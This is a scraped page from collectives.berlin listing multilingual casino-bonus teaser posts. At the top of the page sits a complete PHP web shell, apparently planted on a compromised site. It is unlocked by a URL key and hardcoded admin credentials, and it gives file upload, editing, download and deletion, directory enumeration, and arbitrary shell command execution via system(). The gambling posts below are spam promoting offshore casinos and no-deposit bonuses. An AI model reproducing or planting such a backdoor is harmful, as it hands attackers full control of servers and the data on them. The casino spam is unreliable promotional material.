if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 6 – collectives.berlin

Your digital paradise.

Category: public

  • Runa Casino mobile : jouer en ligne facilement avec une interface conviviale

    Les casinos en ligne connaissent une popularité croissante, et Runa Casino se distingue par son interface conviviale et sa vaste gamme de jeux. Que vous soyez un joueur novice ou expérimenté, Runa Casino offre des options adaptées à tous les goûts. Avec une licence obtenue à Anjouan (Comores), il garantit un environnement de jeu sécurisé…

    Click or not…

  • Discover the best pokies at Here2WIN Casino: a beginner’s guide for New Zealand players

    As the online casino landscape continues to grow, players in New Zealand are searching for the best places to enjoy their favorite games. Here2WIN Casino stands out with its engaging selection of pokies and promotions tailored for Kiwis, including options such as the Here 2 Win no deposit bonus that enhance the gaming experience significantly.…

    Click or not…

  • Bônus sem depósito em Portugal: como garantir suas spins grátis e cashback

    Os cassinos online têm se tornado uma das opções de entretenimento mais populares em Portugal. Com a oferta de bônus sem depósito, os jogadores têm a oportunidade de experimentar jogos casino online sem deposito sem arriscar seus próprios fundos. Este artigo irá orientar você sobre como obter spins grátis e cashback, além de destacar a…

    Click or not…

  • Casino Bonus ohne Einzahlung: Die besten Strategien für 2026

    Im Jahr 2026 erfreuen sich Casino-Boni ohne Einzahlung großer Beliebtheit und bieten Spielern die Möglichkeit, ohne eigenes Risiko in die Welt der Online-Casinos einzutauchen. Diese Art von Bonus ermöglicht es neuen Spielern, Echtgeldspiele zu testen und die Plattform kennenzulernen, bevor sie eine Einzahlung tätigen. In diesem Artikel werden die besten Strategien zur Nutzung von no…

    Click or not…

  • Casino Bonus ohne Einzahlung: Die besten Strategien für 2026

    Im Jahr 2026 erfreuen sich Casino-Boni ohne Einzahlung großer Beliebtheit und bieten Spielern die Möglichkeit, ohne eigenes Risiko in die Welt der Online-Casinos einzutauchen. Diese Art von Bonus ermöglicht es neuen Spielern, Echtgeldspiele zu testen und die Plattform kennenzulernen, bevor sie eine Einzahlung tätigen. In diesem Artikel werden die besten Strategien zur Nutzung von no…

    Click or not…

  • Cazeus Casino: Din guide til de beste live spillene og slottilbudene

    Cazeus Casino gir en moderne spillopplevelse for norske spillere, med et bredt utvalg av spilleautomater og live spill. I denne guiden vil vi utforske de beste tilbudene og spillene tilgjengelig, samt hvordan du kan dra nytte av Cazeus casino i Norge velkomstbonuser og spennende kampanjer som tilbys av casinoet. Hva skiller sterke casinoalternativer fra svake…

    Click or not…

  • The Legal Framework of Gambling in the Arab World Challenges and Opportunities

    The Legal Framework of Gambling in the Arab World Challenges and Opportunities مقدمة حول المقامرة في العالم العربي تعتبر المقامرة ظاهرة قديمة عُرفت عبر مختلف الثقافات، لكنها في العالم العربي تكتسب بعدًا قانونيًا واجتماعيًا معقدًا. ترتبط المقامرة في العديد من الدول العربية بالقيود القانونية والدينية، مما يؤثر على كيفية تنظيمها وممارستها. ومع ذلك، فإن هناك…

    Click or not…

  • Pinco casino 2026 bonus fırsatları: Nasıl daha fazla değer kazanabilirsiniz?

    Online kumar endüstrisi sürekli olarak büyümekte ve oyuncular için birçok fırsat sunmaktadır. Pinco Casino, 2026 yılında kullanıcılarına sunduğu çeşitli bonus fırsatlarıyla dikkat çekiyor. Bu makalede, Pinco Casino’nun sunduğu avantajlar, bonus sistemleri, oyun çeşitliliği ve güvenlik önlemleri gibi temel unsurları ele alacağız. Özellikle Pinco tr ile birlikte oyuncular, bu bilgileri kullanarak nasıl daha fazla değer kazanabileceğinizi…

    Click or not…

  • Оптимизация управления модулями в Pinco: что нужно знать

    Казино становятся все более популярными, и оптимизация управления модулями в игре, такой как қазино Пинко , может значительно улучшить игровой процесс. Актуальные функции, такие как управление сессиями и токенами, играют ключевую роль в обеспечении качественного опыта для пользователей. В этом статье мы рассмотрим, как правильно организовать игровые процессы и какие преимущества это принесет. Как бонусы,…

    Click or not…

  • Masterhacks Blog: Comparando cuotas de apuestas para encontrar el valor real

    En el emocionante mundo de las apuestas, uno de los factores más cruciales para el éxito es entender cómo comparar las cuotas de apuestas. Este proceso no solo involucra analizar cifras, sino también interpretar el rendimiento de los equipos y la probabilidad de ciertos resultados. Con las estrategias adecuadas, como las que se presentan en…

    Click or not…